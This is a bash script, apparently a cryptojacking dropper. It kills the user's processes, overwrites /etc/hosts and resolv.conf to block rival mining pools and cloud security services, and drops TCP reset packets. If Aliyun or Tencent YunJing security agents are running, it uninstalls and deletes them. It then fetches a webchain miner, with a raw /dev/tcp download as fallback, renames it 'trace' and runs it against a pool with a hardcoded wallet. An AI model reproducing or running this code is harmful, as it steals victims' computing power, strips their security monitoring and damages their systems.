112 lines
4.3 KiB
Bash
112 lines
4.3 KiB
Bash
#!/bin/bash
|
|
curl http://lumtest.com/myip.json
|
|
threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
|
|
echo "${threadCount}";
|
|
initdir=$PWD
|
|
lscpu
|
|
if [[ $(whoami) != "root" ]]; then
|
|
for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do
|
|
kill -9 $tr || : ;
|
|
done;
|
|
fi
|
|
sudo echo no > /etc/hosts
|
|
sudo echo 'nameserver 1.1.1.1' > /etc/resolv.conf;echo 'nameserver 8.8.8.8' >> /etc/resolv.conf;echo 'nameserver 180.76.76.76' >> /etc/resolv.conf
|
|
sudo echo "0.0.0.0 blockchain.info" >> /etc/hosts;echo "0.0.0.0 35.225.36.167" >> /etc/hosts;echo "0.0.0.0 100.100.25.3 jsrv.aegis.aliyun.com" >> /etc/hosts
|
|
sudo echo "0.0.0.0 100.100.25.4 update.aegis.aliyun.co" >> /etc/hosts;echo "0.0.0.0 185.164.72.119" >> /etc/hosts;echo "0.0.0.0 163.172.191.181" >> /etc/hosts
|
|
sudo echo "0.0.0.0 pool.supportxmr.com" >> /etc/hosts;echo "0.0.0.0 pinto.mamointernet.icu" >> /etc/hosts;echo "0.0.0.0 sdk.bce.baidu.com" >> /etc/hosts
|
|
sudo echo "0.0.0.0 lsd.systemten.org" >> /etc/hosts;
|
|
sudo echo "0.0.0.0 mine.c3pool.com" >> /etc/hosts
|
|
sudo echo "0.0.0.0 Pool.XCA.CryptoPool.Space" >> /etc/hosts
|
|
sudo echo "0.0.0.0 pool.supportxmr.com" >> /etc/hosts
|
|
sudo echo "0.0.0.0 xmr-asia1.nanopool.org" >> /etc/hosts
|
|
sudo echo "0.0.0.0 xmr-jp1.nanopool.org" >> /etc/hosts
|
|
echo thxforjobs
|
|
echo no > /etc/hosts
|
|
echo 'nameserver 1.1.1.1' > /etc/resolv.conf;echo 'nameserver 8.8.8.8' >> /etc/resolv.conf;echo 'nameserver 180.76.76.76' >> /etc/resolv.conf
|
|
echo "0.0.0.0 blockchain.info" >> /etc/hosts;echo "0.0.0.0 35.225.36.167" >> /etc/hosts;echo "0.0.0.0 100.100.25.3 jsrv.aegis.aliyun.com" >> /etc/hosts
|
|
echo "0.0.0.0 100.100.25.4 update.aegis.aliyun.co" >> /etc/hosts;echo "0.0.0.0 185.164.72.119" >> /etc/hosts;echo "0.0.0.0 163.172.191.181" >> /etc/hosts
|
|
echo "0.0.0.0 pool.supportxmr.com" >> /etc/hosts;echo "0.0.0.0 pinto.mamointernet.icu" >> /etc/hosts;echo "0.0.0.0 sdk.bce.baidu.com" >> /etc/hosts
|
|
echo "0.0.0.0 lsd.systemten.org" >> /etc/hosts;
|
|
echo "0.0.0.0 mine.c3pool.com" >> /etc/hosts
|
|
echo "0.0.0.0 Pool.XCA.CryptoPool.Space" >> /etc/hosts
|
|
echo "0.0.0.0 pool.supportxmr.com" >> /etc/hosts
|
|
echo "0.0.0.0 xmr-asia1.nanopool.org" >> /etc/hosts
|
|
echo "0.0.0.0 xmr-jp1.nanopool.org" >> /etc/hosts
|
|
|
|
sudo iptables -A INPUT -p tcp --tcp-flags RST RST -j DROP
|
|
|
|
sudo echo "nope" >/tmp/log_rot;
|
|
sudo sysctl kernel.nmi_watchdog=0
|
|
sudo echo '0' > /proc/sys/kernel/nmi_watchdog
|
|
sudo echo 'kernel.nmi_watchdog=0' >> /etc/sysctl.conf
|
|
|
|
iptables -A INPUT -p tcp --tcp-flags RST RST -j DROP
|
|
|
|
echo "nope" >/tmp/log_rot;
|
|
sysctl kernel.nmi_watchdog=0
|
|
echo '0' > /proc/sys/kernel/nmi_watchdog
|
|
echo 'kernel.nmi_watchdog=0' >> /etc/sysctl.conf
|
|
|
|
|
|
if ps aux | grep -i '[a]liyun'; then
|
|
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
|
|
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
|
|
pkill aliyun-service
|
|
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
|
|
rm -rf /usr/local/aegis*
|
|
systemctl stop aliyun.service
|
|
systemctl disable aliyun.service
|
|
service bcm-agent stop
|
|
yum remove bcm-agent -y
|
|
apt-get remove bcm-agent -y
|
|
elif ps aux | grep -i '[y]unjing'; then
|
|
/usr/local/qcloud/stargate/admin/uninstall.sh
|
|
/usr/local/qcloud/YunJing/uninst.sh
|
|
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
|
|
fi
|
|
|
|
|
|
|
|
threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
|
|
hostHash=$(hostname -f | md5sum | cut -c1-8);
|
|
echo "${hostHash} - ${threadCount}";
|
|
|
|
_curl () {
|
|
read proto server path <<<$(echo ${1//// })
|
|
DOC=/${path// //}
|
|
HOST=${server//:*}
|
|
PORT=${server//*:}
|
|
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
|
|
|
|
exec 3<>/dev/tcp/${HOST}/$PORT
|
|
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
|
|
(while read line; do
|
|
[[ "$line" == $'\r' ]] && break
|
|
done && cat) <&3
|
|
exec 3>&-
|
|
}
|
|
|
|
rm -rf config.json;
|
|
|
|
d () {
|
|
curl -L --insecure --connect-timeout 5 --max-time 40 --fail $1 -o $2 2> /dev/null || wget --no-check-certificate --timeout 40 --tries 1 $1 -O $2 2> /dev/null || _curl $1 > $2;
|
|
}
|
|
|
|
|
|
test ! -s trace && \
|
|
d https://github.com/mintme-com/miner/releases/download/v2.8.0/webchain-miner-2.8.0-linux-amd64.tar.gz trace.tgz && \
|
|
tar -zxvf trace.tgz && \
|
|
mv webchain-miner trace && \
|
|
rm -rf trace.tgz;
|
|
|
|
test ! -x trace && chmod +x trace;
|
|
|
|
k() {
|
|
./trace \
|
|
-o $1 \
|
|
-u 0xbDdd3a19072d52c50973b0cbF7bDC7CC52A7B6bc \
|
|
-p x \
|
|
--worker-id=F003
|
|
}
|
|
|
|
k web-ko1.gonspool.com:3333 |